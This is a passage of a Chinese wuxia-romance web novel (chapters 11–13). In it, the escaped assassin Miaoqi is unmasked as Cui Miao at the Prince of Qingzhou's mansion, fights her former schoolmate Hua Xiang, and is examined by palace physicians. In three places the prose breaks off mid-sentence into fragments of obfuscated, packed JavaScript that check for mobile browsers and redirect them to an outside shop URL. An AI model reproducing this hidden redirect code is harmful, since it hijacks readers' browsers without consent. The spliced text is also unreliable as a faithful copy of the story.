“许久不见,渺七妹妹。” “……” 若说玄霄有什么人会令渺七感到不知所措,那便是眼前此人,华湘—— 千矶岛难得不拐弯抹角者,亦是岛上最最有名者,常常往来于三院间,传闻不少人皆与她关系匪浅。 早在两年前,华湘每每见到渺七都要上前逗趣一番,渺七起初未解其意,后经芙生提醒才明白她是何意思,此后华湘更是时时送她礼物,渺七欲躲,可怎么躲都在千矶岛上,好在也只半年时光,其后华湘便不再缠着她。 渺七见她也来,问:“抓我也需日院的人出手吗?” “我也说不必,可霄首这样安排我又回绝不得,渺七妹妹就随我们回去罢。”说完忍不住摇头感叹,“只是好好儿的妹妹,怎就成了光头?” 渺七未理会她,目光转向芙生,问她:“我的马呢?” “自是卖进鬼市赚了黑钱。” 渺七遂皱眉,与此同时将剑抽出,华湘则轻挥两鞭,命令芙生道:“去巷口看着。” “是。” 话落,软鞭如银蛇出洞,不由分说向渺七袭来,渺七以软剑相挡。 软鞭由精钢锻造,缠绕银丝,极其坚韧,与软剑皆是刚柔并济之武器,二者相击相绕,琅琅生响。 风刮进巷里,天色更暗,渺七趁软剑摆脱束缚之际,左手疾伸,一撩,握紧鞭梢将华湘往面前一拽,华湘低腰闪避,躲过袭击绕至渺七身后,换左手持鞭,右手意欲探向渺七腰际,渺七回踢一脚,银丝软鞭则教人狠狠一夺,登时划破她左手。 “哎呀,罪过。” 华湘从渺七右方绕过,使鞭缠住渺七手中软剑,右手作势去捞渺七左手手腕,两只手便交搏起来。 华湘挡臂拦下一击,又伸手擦过渺七面颊,一边道:“渺七妹妹何故易容?瞧着好生碍眼。” 渺七侧头避过,瞥见石板路上一块碎石,脚尖轻勾踢起,碎石直直飞向墙边,正中醉眠的少年。 应安捂住脑门儿惊醒,痛呼声,恍惚间见到渺七与人打斗,登时从推车中坐起,问:“谢仲孝,怎么回事?” “扑哧——”华湘听得渺七的新名号,忽而松开软鞭退出几步,笑得直不起腰,“谢仲孝,亏你想得出来。” “……”渺七回头看应安,道,“去叫人来。” 应安迟疑一瞬,终是听信渺七的话背身跑开,待他跑远,芙生也从墙头跳下。 渺七看向二人,开口:“我可以答应你,但要给我几日期限,五日后辰时将我的马系在城外。” “五日?太久。” “四日后青州王府发俸,我要领了月钱再走。” “……” “……” 二人双双语塞,片刻后,华湘再次笑出声:“既如此,再等你五日也无妨,莫令姐姐失望。” 芙生站在她斜后方,欲言又止一番,终究闭口无言。 二人在应安搬来救兵前便消失得无影踪,渺七收起剑,自行朝青州王府去。 …… 傍晚,王府正殿。 渺七坐在堂屋东侧,微微蹙额,伸着手由一个药童替她包扎手伤,直到包扎妥当,童子退出中堂,她才抬眼看其余几人。 屋外风声作响,天色晦暝,堂屋之中却油灯煌煌。 应安坐在她对面,双目猩红,死死地盯着她,其旁坐着应平,目光同样落在她身上,神情冷峻,而主位之上,裴皙双臂搭在玫瑰椅臂上,两手交叠,垂眸似在沉思。 裴皙久久不发话,终于急得应安扭头看他,问:“王爷,为何还不问他?” 裴皙这才抬眼看渺七,开口却说:“应平,带应安出去。” “王爷?”一句话撵了两个人,兄弟二人不免诧异叫他。 “我有话要单独同他谈。” 裴皙口吻温和,却不容置喙,兄弟二人无奈退下,因此偌大的屋内便只剩渺七与裴皙。 又一阵长久的静默后,裴皙不冷不热地开了口:“说说看,与你交手的是什么人。” 渺七低头看着手,想了想说:“算是昔日同窗。” “哪处的同窗?” 渺七重又抬眼,试探问起裴皙:“你可知蓬莱海域千矶岛?” 问罢,竟见裴皙面上无端露出笑意,渺七不由心下打鼓,然后便听他似欣慰般说道:“我很高兴。” 渺七眼底遂又多几许困惑。 “很高兴你总算对我说了句实话——”裴皙顿了顿,叫她,“崔渺。” 11. 一一 昏黄灯光下,两人无言相望,许久许久,渺七茫然皱起眉头,问堂上之人:“你几时认出我的?” “从见你之时。” “……” 渺七似噎了噎,继而垂眸默视手中烛影,静了迂久,复又抬眼看他,“可我不明白,你一早就认出我来,为何不揭穿我?” “许是觉得看你撒谎颇有意思。” 口吻似打趣,像在说无关紧要之事,渺七不觉深深蹙眉,而裴皙还问她,“为何皱眉?” “我分不清你说的是真还是假,但我觉得更像假话。” “我从不撒谎。” “……” 这话似曾相识,渺七觉得他是有意学她这般说,觉得话已谈不下去,便不再吭声。 裴皙却追问下去:“或者,在你看来,我该怎么说才像真话?” 渺七摇摇头:“我不知道,我看不懂你。” 或许早在五年之前,渺七心底便埋下了一个执念,那便是她想知道裴皙究竟是怎样一人。 她很好奇,所以过去两年间她才常常前来青州,听人谈论他,只不过听来的翻来覆去都是同样的话。 他是个好人,但渺七认为这不足以解她的困惑。 裴皙随之沉吟,再开口时说:“正好。” 什么正好? 他好像听见了她的疑问,说:“我也看不懂你。” 话音落下,屋外一阵疾风吹过,接着是密密的雨点声。 - 雨打小荷,渺七伏在水榭栏杆上呆望湖面。 小鱼探头,涟漪泛开,渺七便将喂鱼的绿豆糕喂进自己嘴里。 雨已接连下了两日,这两日她过得很是清闲,青州王没有差事安排给她做,应安也不再同她吵闹,每每见到她只目不斜视走过,恍若未见般,渺七便自行在王府里寻事,胡乱走动。 “崔渺!” 身后忽有人这般叫她,渺七转头看去,一个十四五岁的青衫丫头撑着伞,跑过水榭外的垂柳朝她来。 两日间,悠闲的渺七在王府上结识了不少人,初荷便是其中之一。又或者说,初荷是渺七来青州王府树上“小坐”时就已认得的人,并同她的那只黑猫有点交情。 “总算找着你了。”初荷跑来亭下,笑眯眯问渺七,“你在喂鱼吗?” 渺七点点头,对于自己将鱼食吃掉一事毫不心虚。 初荷这才说:“祝管事正差人找你去侧门外搬东西,你可要快些去,不然定要遭他训斥的。” “噢。” 这两日渺七唯一不清闲的地方就是祝管事不时安排她做些琐事,分明府里有不少人能使唤,但他偏要拐弯抹角使唤渺七,还让她休要仗着与王爷有些渊源就懈怠。 渺七虽没明白他说的渊源是什么,但她记得裴皙那晚叮嘱她少说话一事,故这两日她在祝管事面前很是老实,这时冒雨前往侧门处。 正是夏日果馔可口时,青州王回府后每日都有时令鲜果送来,而渺七今日要做的也只是搬两筐果蔬到膳院里。 若问整个青州王府渺七最熟悉哪院,便只能是膳院,早在她来青州王府小坐时,她便造访过几次膳房,偷食过几碗米饭。 渺七担着两筐蔬果走进膳院里时,凉亭下一个褐衣华发的老者正坐着摘豆角,瞧见有人进来,眯着眼露出副若有所思的模样,渺七只看上眼便径直走过凉亭。 王府膳院的管事是位姓巩的嬷嬷,名叫巩春,如今五十有一,曾是宫中御厨。 这两日渺七自然也认得了巩嬷嬷,还同她在膳院里吃过几顿饭,身为大厨,巩嬷嬷最是爱看人吃饭的,见得渺七吃饭模样,连连赞她是个吃饭的好苗子。 不过眼下巩嬷嬷却没空待见她,正和几个丫头小厮清扫着庖房,见渺七搬东西进来,只让她放下便将她当作闲杂人撵了出来。 渺七又踱回院中,这回应安竟也坐在亭中同那老者说话,见到她,当下转过头只留给她一个后脑勺,倒是那个老者目光又追随着渺七。 “方爷爷,您再想想看,我从前可是常带您去看杂耍的。”应安对老人道。 “噢,是你!” 老人发出恍然大悟般的声音,只不过却不是对应安说,而是对着亭外经过的渺七说,渺七不禁扭头看去,老人家正对着她吹胡子瞪眼。 “方爷爷,您不认得我就算了,怎还认得他?”应安在一旁不满,“不过您定是认错了,此人才刚来府上两日。” “准是她没错,她害我饿过一回肚子。” 渺七:“……” 老人家也是王府膳夫,只不过如今年老不记人事,却不想他竟记得只有过一面之缘的渺七——而那一面,还是今年早春时撞破渺七偷他饭吃的场景。 渺七想了想,没有告诉他她可能害他饿过好几回肚子,只是其他几回他见着空碗只当是自己吃完的罢了。 “害您饿肚子?几时的事?”应安接着问。 “唔……” 老人又开始回想,渺七也不管他是否能想起,只默不作声朝外去,不过刚走出不远,便在曲径上撞见迎面来的三人,裴皙走在中间,一左一右跟着应平和祝管事。 裴皙撑一柄油纸素伞,见人迎面而来,驻足瞧她。 渺七也停下看他,自从那夜裴皙说他同样看不懂她后,渺七便发现她似乎有些不想让他看见,可她想了两日也想不明白其中缘由。 也许,也许她认为裴皙不该那样说,就像当初看见山中石佛时,她认为他应当说别的话才对那样。 渺七忽地又有些躁动不宁,但裴皙这时问她:“下着雨,又要到什么地方去?” 口吻依旧温和,就好像他对过往的一切都不介怀,渺七欲言,但教祝管事瞪上一眼后便吞回话,而后走到应平伞下站定,瞧着倒像是与他们同行而来。 应平:“……” 裴皙睇她眼,继而迈步往前。 直到跟他们走至膳院外,渺七才疑惑问:“你为何到这儿来?” 问完即刻听祝管事斥责道:“大胆,王爷你也不会称呼吗?” 她叫青州王时总是一口一个你,平日里无人指责,落到祝管事耳中就叫大不敬。 裴皙却转头看祝管事,道:“小事而已,祝管事不必苛责。” 祝管事忙应上声,心底却忍不住叹气。 这便叫苛责吗? 然后就见青州王转过头去,反问那没大没小的侍从:“难道只你来得,我来不得吗?” 祝管事:“……” 听来还有几分哀怨是怎么回事? 渺七听来却不这般觉得,反而觉得裴皙此问好不和善。 难得她觉得裴皙不像个好人,偏偏这时裴皙又好言答了她:“闲来无事,前来做些吃食。” 渺七歪头:“你还会做吃食吗?” “虽不擅长,却也会些,不然我为何要看那食单?” 渺七哑口,毕竟她看食单只是想看看其中的菜肴饭点。 说话间,四人走进膳院里,应安瞧见渺七与裴皙同行,而他大哥甚至还给渺七撑着伞,登时跳出亭外:“谢——” 开口便要叫谢仲孝其名,但转念想到这原是个假名,以及他两日前已赌誓要等渺七先开口道歉再才同她说话这回事,故而即刻欲斥又止,只憋着一腔闷气叫其他几人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320439|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 巩嬷嬷这时也笑眯眯迎来院中,告知裴皙庖房里一切都打点妥当,只等他光临大驾。 渺七听二人交谈,知晓裴皙并非一时兴起才来下厨,遂好奇更甚,跟在人身后进了庖房,不料祝管事回身赶起人来:“去去去,你这小子,该你跟时不跟,不该跟时反倒还跟着。” 渺七回头看了看,发现身后没有其他人跟来,才知他在对她说话,遂问他:“为何不能跟着?” “王爷千金之躯,他下厨岂是你能见的?” “你便能见吗?” 口吻真诚,毫不意外地惹恼了祝管事。 巩嬷嬷滴溜几下眼珠后,这时从旁乐出声来,到底她是宫中跟来的老人,祝管事也奈何不了她,只多有埋怨地看她眼,而巩嬷嬷道:“我说老人家,我瞧您是老眼昏花了,人家一个姑娘,您叫人家小子做甚?” “姑——” 祝管事一语噎住,立时扭头再看渺七,左看右看,最后终于转头看向裴皙。 此时裴皙已走到案前,拾起篮中一根洗净的茄子,见祝管事翘首望他,他回他一笑。祝管事这下不信也得信了,直到告辞离开庖房后都不可置信着,一边喃喃念叨:“不像话,这像什么话……” 至于什么不像话,王爷下厨不像话、令女子做侍从不像话、女子剃头更不像话……统统都不像话。 - 庖房中,裴皙手边摆着几碟菇、笋、酱瓜、荸荠,他有条不紊地切着菜,只不过动作极慢。 渺七耐性不佳,看上会儿就想上手相帮,但裴皙挡住她,嘴角挂着一抹似有若无的笑意,问道:“是你做菜还是我做菜?” “……” 好不和善。 渺七难得一日之内两次觉得裴皙不像个好人。 裴皙扫了眼她左手,又接着说:“手伤还未痊愈,晚些时候再找小苗儿为你换回药。” 小苗儿是府上的药童,如今渺七手臂上的伤已然痊愈,但那日和华湘巷战时划破的手心还伤着,这两日都是小苗儿为她换药的。渺七闻言,又觉得裴皙当真是个好人。 可好人同坏人有何分别? 裴皙又为何是个好人? 渺七默默盯着好人,好人好像觉得她碍事,转头取来一颗今早由她搬来的鲜桃给她,桃已经洗好,她便啃着桃继续碍事,一边问他:“等你做好了,我能吃吗?” “……” “我会帮你生火。” “见者有份。” 事实证明,青州王的确是个平易近人的好人,这天晌饭时,不单渺七吃到了他亲手做的菜,巩嬷嬷与应家兄弟也同坐在膳院的餐桌上。 桌上的几道菜中,肉圆、蒸鱼和茄子出自裴皙之手,应安吃完赞他厨艺精进不少,巩嬷嬷却不客气道:“应安,你这就叫溜须拍马,依我瞧这手艺可是落下了。” 裴皙一笑:“嬷嬷说得是,许久未下厨,手生许多。” 尤其今日还有人一直从旁干扰。 这般想着,他又转头看身侧之人。 渺七捧一碗米饭,吃得专注,然而在裴皙看来,她今日还不够专心。 若他未见过渺七往日的风采,倒也不必这般疑心,但今日渺七显然不及往日吃饭有劲,非但如此,还不时蹙一下眉。 见她几次三番皱眉,裴皙终究按捺不住,问道:“饭菜不合胃口吗?” 众人齐刷刷看向渺七,渺七抬起头来,话未出口,便见她面色突变,倏地起身跑去庭树下。 “呕——” 裴皙放下筷子,深吸口气。 众人瞠目。 王、王爷虽厨艺不佳,但罪不至此罢? 12. 一二 一顿饭因渺七的呕吐而中止,巩嬷嬷连忙拉着人盘问许久,渺七抖豆子般将她两日间的全部饮食抖落出来,包括今早她在水榭里吃的糕点,说到此处,巩嬷嬷便知青州王的名声算是保住了—— 那些糕点原是前些时候一个跟她学厨的丫头所做,几日不曾吃完,便放去水榭里任人喂鱼,谁承想府上竟有如此不挑剔之人,连鱼食也吃得下。 应安听罢原委,早忘了记仇,恨不得在一旁笑掉牙。 裴皙则轻叹声,无奈道:“到药院里瞧瞧去。” 渺七因吐了遭,瞧着恹恹的,这时闻言闷头朝外去。 应安就要起身跟去,却听应平清了清嗓子,转头看,他们王爷都还安坐着。 奇怪,怎么今日只说不做? 许是见他疑惑盯着自己,裴皙也问他:“你也觉得不合胃口吗?” “自然不是!我吃着可香了。”应安说完便埋头接着吃。 片刻后,一个侍女提着食盒回膳院里来,巩嬷嬷一见便问:“怎么才回来,可送到了?” 侍女遂走到桌边禀话:“送是送到了……” “但没送出去?” 巩嬷嬷用一副她就知道的表情问她,侍女却摇摇头:“也送出去了,但不是送给云公公,而是送给周老太医了。” “你这丫头,说话利索些。” 那侍女这才道来始末,她将饭菜送去云公公院中,但院里人说云公公身体抱恙,到周老太医那处去了,她只好赶去药园里,好不容易见到云公公,他却说他今日胃口不佳,食盒也没揭就打发她回来,还是周老太医说想吃才留下的。 巩嬷嬷收下空食盒,转头看裴皙,笑道:“王爷,我就说他不会吃。” 裴皙听罢,并不意外,只问那侍女:“可曾告诉他此间饭菜是出自巩嬷嬷之手?” “说了,但云公公还是说他胃口不佳。” 就算饭菜不是裴皙所做,但只要裴皙人在膳院,就足够令云公公胃口不佳。 曾经的东宫太子,本应在先帝病去后登上九五至尊位,心系天下、运筹帷幄,然命运弄人,如今他只是个病痛缠身的亲王,受封青州,闲散无为,而他竟还自甘堕落,甘愿走进庖房,拘泥于锅碗鼎镬之间。 对于裴皙此般行径,云霆对此一向不以为然,认为此举有违礼制,更有失天家威仪,而他更是从不肯吃裴皙所做饭菜,在他看来,裴皙就算不登上那天子宝殿,也决计不该进庖房之中,与下人同饮同食,更休提还是他亲自做饭给底下人吃。 裴皙闻言点了点头,不再多问,只垂眸思索。 倒是应安忽想到什么,说:“这么说云公公也在药院,那谢——崔渺定是要遇上云公公了。” 而裴皙所想正是此事,尽管他已与云公公解释了渺七身份,但那等说辞云公公又怎会轻信,如若二人相遇…… 这般想着,裴皙起身同巩嬷嬷告辞。 - 午后雨已停歇,渺七前来王府药院时,小苗儿正静坐花前煎药,抬眼见是她,关心道:“崔渺姑娘,你怎么瞧着脸色不大好?” 小苗儿看起来才十三四岁,一半头发束作发髻,一半垂在脑后,除了一根束发带没有坠饰,生得唇红齿白。 渺七昨日来换伤药时也见过她,那时小苗儿就称呼她为崔渺姑娘,渺七本不觉得奇怪,但因先前巩嬷嬷指出祝管事错将她认作小子一事,她便突然好奇起来,全然忘记她是为何而来,而是停在小苗儿面前,问她:“为何你就看得出我是姑娘?” 为何巩嬷嬷与小苗儿能看出她是个姑娘,但祝管事和应安就看不出? 小苗儿似乎不觉这问奇怪,微笑道:“明眼人不都看得出么?” 渺七琢磨了下这话,正色得出结论:“那祝管事和应安就眼盲。” “嘘,不可提起那二字。” 若教旁人听去,以为是在背地里议论云公公眼盲一事便不好了。 小苗儿制止了渺七,不等渺七追问为何便说:“祝管事年岁已高,认错情有可原,至于应安么,他从小就眼神不好,至少他娘说他当不了大夫。” 渺七闻言歪了歪头:“你们从小就认得?” 小苗儿点头:“嗯,他家里是开医馆的,小时候师父捡到我,不便带我进宫,便让我住在他家中。” “为何说他当不了大夫?” “应姨说为医者眼应当清明,他这般眼拙,不是当大夫的料。”毕竟小时候有人也曾把她当弟弟带了半个月之久,后来才发现她原是个妹妹。 小苗儿倒没说应安的糗事,只认真看看渺七说,“不过你的眼睛倒很清明,像是会当大夫的人。” 那夜见她时虽天光昏暗,但她一眼就瞧出堂中那人双眼清明,岂止清明,盯着她时简直晃眼。 分明那时堂中是一副剑拔弩张、风雨欲来的阵势,连她都没敢多看,结果当事人却还无事发生般地看她包扎,不过这两日见这人,的确像是无事发生。 这时,插在面前的那炷香燃到了一刻的位置,小苗儿低头朝炉中喂上几枝松枝和几根枯柴。 渺七凑近药炉闻了闻,气味熟悉,像裴皙身上的味道,她抬眼问:“这是裴皙用的药吗?” 听她直呼了裴皙的名字,小苗儿看着她,一时没吱声,只点点头。 再看渺七,好像没发现自己直呼了青州王的名讳,而是盯着那壶药和四下经雨淋过的芍药花丛问:“为何要在外头煎药?” “师父说,花前煎药,花之阳气入药,生发之气有益于王爷缓解病痛。” “当真有用吗?” 小苗儿但笑不语,她只知道,从前师父看病并不讲究这些,但这些年他为王爷医治无果,这才越变越玄乎,什么偏方都想试上一试。 不过这些话她当然不能告诉旁人,说出去让人称老神医的师父脸往哪儿搁? 渺七不再说话,静了静,胃中痉挛一阵她才想起她原是有事才来,这才对小苗儿说:“我吃坏了肚子,适才吃饭时还吐了。” “……”小苗儿瞪她眼,“难怪脸色难看,怎么才说?” “才想起来。” “……我先帮你瞧瞧。”小苗儿这才让她张嘴伸舌,瞧了瞧,又让她伸出手,搭在她腕上诊了起来。 裴皙一行来时见到的便是这样一副场景,故远远停在树下,不再往前。 意想中渺七与云霆的相遇没有发生,反而是同小苗儿坐在了一处。 不知为何,裴皙觉得此刻的渺七格外安宁,格外实在。 平日里的渺七,即使是没有动作时也像是在横冲直撞,也像是飘渺无形,而眼下的渺七实实在在地坐在那里,好像就此停下。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330073|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到半晌后,裴皙见小苗儿仍在为渺七诊脉,这才觉得有异,朝二人走去。小苗儿见他来,起身叫人,裴皙遂问她道:“如何?” “唔,依我看外邪犯胃,吃坏肚子事小……” 应安忙凑来问:“那什么事大?” 小苗儿眉心微皱,摇摇头道:“看来我学医还不精,说不清,只觉得她脉象有些弱,应当让师父瞧瞧才是。但问题理应不大,我问崔渺姑娘时她自个儿都觉得没什么事。” 此话一出,原本对渺七视若不见的应安忽而捧腹大笑:“小苗儿,你午睡未醒么?竟对着个小光头叫姑娘。” 小苗儿面无表情看他,渺七也面无表情看他。 应安教二人盯得怔了怔,尽数的话吞回肚子里,如鲠在喉。转头再看裴皙与应平,见一个神情无异,一个则一副不愿认他的表情,便知他们也一早知晓此事,故而他麦色的脸颊倏尔变得红一阵黑一阵。 裴皙这时才几不可闻地轻叹声,问小苗儿:“周老现在何处?” “云公公早间来找他看诊,一直在里院。” 裴皙颔首,然后令小苗儿先领他到里院去,应平亦寸步不离地跟着裴皙,似乎有意留下渺七与应安在原地。 应安还未从先前那话上缓过劲来,脸面仍是红一阵黑一阵,而回想起此前与“谢仲孝”的相处,脸色更加变幻莫测。 “你……” 他欲言又止,偏偏这时渺七一副没事人模样,扭过头问他:“小苗儿就是你妹妹吗?” 渺七曾听应安提过几次妹妹,这时忽然想起,遂这般问他。 应安没想到她竟用这等寻常语气同他说话,不过总算是渺七先开口,故这时他再开口同她说话倒不违背他所赌之誓,只不过他依旧很是不爽,最后同渺七说了几日来的头一句话:“崔渺,你就这般同我说话吗?” “那应当怎么说?” “你!你骗了我们,难道不是应该先同我们道歉吗?可这些日子你就像是没事人一样,丝毫没有忏悔之心!”应安似乎越说越气,道,“你瞒报姓名来历便罢了,竟连性别也骗人!” “可我从未说过我是男子。” 应安张张嘴巴,想起渺七的确从未说过她是男子,不觉震惊。 原来从来都是他看岔了吗? 不对,应安恍然道:“你虽从未说过,但我从见你时你便是一副男子打扮!”说着忍不住翻几嘴旧账,“还有,你化名谢仲孝,一听就是男子名字,还在脸上贴些红斑狼疮,还、还剃光头发,不是存心引我们误会又是什么?” “天下男女的差别就在名姓和打扮么?”渺七正色直言问。 应安愣愣盯着她,半晌涨红脸,支吾说:“总之你就是存心骗人……”又气不过,继续置气,“真不懂你为何非要瞒着我们,分明都是一家人,说实话又不会怎样。” “一家人?” “王爷都同我们说了。” “说什么?” “你原姓崔,与太后娘娘是本家,只不过是门远亲,如今家中人遭陷害,又有仇家相寻,所以你才前来投靠他,对罢?”他说罢又闷声道,“这有什么可隐瞒的?” “……” 渺七听后沉默不语,总算知道祝管事所说她与裴皙的渊源何在。 所以,其实青州王这样的好人也是会骗人的。 13. 一三 许是见渺七许久都不曾说话,应安有些坐立难安起来,最后才想起先前她问的那话似的,转过话答了她: “小苗儿也算是我妹妹,但往日我同你说的妹妹是指我的双生妹妹,她叫应喜,如今在京城家中同我娘学医。” 渺七就坐在适才小苗儿煎药的位置上,这时问:“你娘是大夫,为何你与应平会习武?” 她直呼应平大名,应安对此早就没了脾气,只说:“大哥幼时身体不好,娘安排他到镖局拜了个师父,想让他学武强身,不想那个师父竟是出身皇城内卫司,大哥同他学了一段时日后就决心今后也要进内卫司,后来他功夫越学越好,便真进去了。” “那你呢?” “我么……”应安有些难为情,“我从小愚笨,书念不好,文章做不来,医术也不会,唯独跟大哥学了些拳脚功夫,不过你也瞧见了,自保尚且困难,全凭王爷好心才留下我……” 说到最后,应安似乎还有些沮丧,但瞄一眼渺七,发现她丝毫没有要出言安慰他的意思,不禁生出种自己白白卖许多惨给她看的害臊感,然后佯装无事发生般问她,“你问这做什么?” “随口问问。” 一副压根不在意他如何习武又如何来此的口吻。 “……”应安涨红脸,想怄气也不知该如何怄起,索性闭口不言。 好在不久后小苗儿就出来唤渺七进屋,然后嘱咐应安盯着那柱香,自己则跟进去听诊。 前来医室中时,里头只有个头发花白的老者,渺七不禁算了算青州王府里究竟有多少个老头。 眼前的老人名唤周鸿泰,曾是宫中御医,虽说两年前便已到了告老之年,但他仍随裴皙前来青州。 渺七坐下后,将手搭在脉枕上由老人诊断,小苗儿则在一旁静坐研墨。 一坐就是好半晌,渺七不觉候得有些焦躁不宁,听得檐外鸟雀啾鸣,在螺钿椅上扭了扭身,催促问:“还未好吗?” “莫急莫急。”周鸿泰把着脉,道,“脉象细如断弦,乃是气血受损之症,平日可是常用药?” 渺七摇摇头。 老大夫沉思一阵,又问:“那可是月经不调?” 渺七又摇摇头,但过了会儿好像想到什么,问他:“月经不调是何症状?” 老大夫不由得瞪她眼:“你是女子还是老夫是女子?”但问完还是好生解释,“月事一月一行,过期、先期、血气胀痛皆算不调之症。” “噢。” “噢什么?” “我是用过些药,但吃时不知那是什么,如今想来应当是治月经的。” “噢。”老人也噢一声,“想必是香附、川芎一类,既调理过,现下怎还这般弱?” 渺七便盯着周老,正色纠正:“是治月经而非治失调。” 老大夫一时未解其意,片刻后领悟过来,怒问:“什么人这般无德!竟配出这等害人药物?” “何问津。” 渺七说出个名字,乃是千矶岛上研药之人,不过所研之药不是救人治病之用,而是研制毒药,此外何问津也兼为玄霄中人疗伤治病,只是治得好治不好就不是他说得准的了。 “你说我也不认得!” “你问的。” 老大夫收回手,没好气冲她挥了挥,随后转头向小苗儿口述,令小苗儿开下道益气养血的方子递给她:“你收捡下,先按此方调理两月,届时若经水还不来,我便再添几剂活血行气的药材,若经水来,想必定是疼痛难忍,却也无法可避。” 絮絮叨叨,在渺七听来却犹如东风吹马耳,左耳进右耳出。 她来过几回月事,但好像直到今日才明白为何它叫月事,只因此前她们从来都是一年半载才来上一次。 想来是经水繁琐,每月都来于杀手而言很是不便,所以玄霄才会令她们服用那等药物。 约莫是看出她压根儿没放在心上,周鸿泰又气咧咧训她几句休要仗着年少乱了节律,往后定是要吃苦头这类的话。 渺七老老实实听完,却还是那副冥顽不灵的模样,只冷不丁问起周鸿泰:“你也替裴皙医病吗?” 周老大夫便露出副听人说了傻话的神情,直到渺七又问他,“那依你看,他如今还活得了多久?” 周鸿泰年事已高,听渺七这样口无遮拦,当下一口气没提上来,连咳几声涨红脸面,小苗儿则在一旁叫她:“崔渺姑娘!” 渺七转头看她,小苗儿冲她摇摇头,似乎是在说不可妄言。 周鸿泰这时总算缓过来,瞪着一双依旧矍铄的眼看她,半晌后才支开小苗儿煎药去,小苗儿看看渺七,无奈离开药室。 等人走后,周鸿泰才眯觑起眼,倒与先前那个絮叨的老者模样全然不像,问道:“听闻小友与崔太后是远亲,何以问出这般大不敬的话?” “我只是关心他还能活多久,为何大不敬?” “妄议王爷命数,你可知坐在此处的若是云霆,此时你应当已经凶多吉少了。” 周鸿泰不知何故提到云霆,但隐约像是在警告她什么。 渺七回想起曾在树上听到初荷因出言不逊而遭另外两个侍女警告一事来,觉得云霆或许比她想的还要厉害些。 她静上会儿,还是固执问周鸿泰:“那他到底还可以活多久?” “这并非你该关心之事。” “那是因为你治不好他才这样说。” 周老大夫沉默,许久才起身,推门出屋之际,却听渺七道,“我想要救他,但我想知道还来不来得及。” 他立时顿足,回头看还坐在原处的渺七,而后道:“你若真有这能耐,便该去问王爷,若要老夫答,老夫只知他几年前便该……” 老人到底没能说完那字眼,只推门出屋。 时过正午,屋外竟雨过天晴,日光煌煌,小苗儿与应安仍在花前煎药,周鸿泰一迳走至池畔凉亭下。 亭下只裴皙独坐,见他出来,因问他渺七如何,大夫有意曲解其意,气哼哼道:“不识青天高黄地厚!” 话音未落,就见渺七悄无声息从他身后冒出,看他一眼后先行坐去飞来椅上。 “……” 几时跟来的? 裴皙偏头问渺七:“你同周老说了什么?” “我说他——” “无妨无妨!”周老大夫忙打断渺七,与裴皙道,“该说的老夫都与她说过了。” “劳您费心。” 老大夫略微沉吟阵,后道:“王爷,您也随老夫去屋中瞧瞧罢。” 裴皙并未推却,与周鸿泰同去,亭下遂换了一人独坐神游。 又过许久,裴皙才从屋中出来,踱回凉亭之下时,便见渺七独自趴在石桌上,因问她:“今日怎这般老实?” 老实到他离开这许久都还留在这里。 渺七坐直身子,面露瞢然,似在奇怪她几时不老实过。 “前两日难见你人影,还以为你有意躲我。” 裴皙意外戳破渺七心思,渺七只吞声不语,等裴皙坐定,默不作声注视他,裴皙便知她有话要说。 “想说什么?”他问。 “你同应安说我与太后是本家,可你不是说你从不撒谎吗?” 裴皙微怔,须臾慢条斯理问起:“那你可知,我撒这谎是为我自己还是为你?” 渺七垂眸忖思,良久,朝他说起:“有人与我说我的教习师父甘愿求死是为保我活命,可我明白他求死是为他自己,所以若是旁人这般问我,我只觉得他们是为自己,可换做你这般问,我就觉得谎像是为我而撒。” 她说话时语调缓慢,眉心轻蹙,似乎连她自己也在思索这番话是何意思。裴皙听后倏然失笑,渺七不由得眉心蹙得更紧,问他,“你笑什么?” “我笑,难得听你这般啰嗦。” “……” 好不和善。 渺七难得一日之内三次觉得裴皙不像个好人。 裴皙却不言语,似乎在琢磨她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我整日上树,像猴。” 她回答得有几分古怪,裴皙思忖会儿,又问别的话:“那是怎么去岛上的?” “适才我说的教习师父领我去的,他说我是做杀手的好料子。”渺七说到此处,提上句,“但巩嬷嬷说我是吃饭的好料子。” 他哼笑一声:“好料子怎么单单吐了我做的饭菜?” “……” “你在岛上时做些什么?” “习武、满山跑、挖坟、受罚、饿肚子……” 裴皙稍稍停顿,没想到竟还有挖坟这种事,顿了顿道:“今后不会再有人罚你,但饮食需有节制,免得再如今日这般。” 渺七不听。 裴皙又轻叹声,问:“朝廷清剿千矶岛时,你在什么地方,何以逃过此劫?” 渺七眨眨眼,老实答他:“我在杀我的教习师父。” 裴皙似乎错愕朝她歪了歪头,好心向他解释,“是他命我杀他的,等我再回去时,才知玄霄已经遭清剿了。” “所以你得了自由?” 渺七点点头,但须臾又摇摇头,坦然道:“但朝廷还没有根除玄霄。” “所以,是有人在抓你,你才前来寻我?” “不,是我想寻你在先,他们要抓我在后。” “寻我?”裴皙目光直视渺七,眸光幽深几许,“为何想寻我?” “我想看看你。” “看我什么?” “看看你如今活得怎样,还能活多久。” 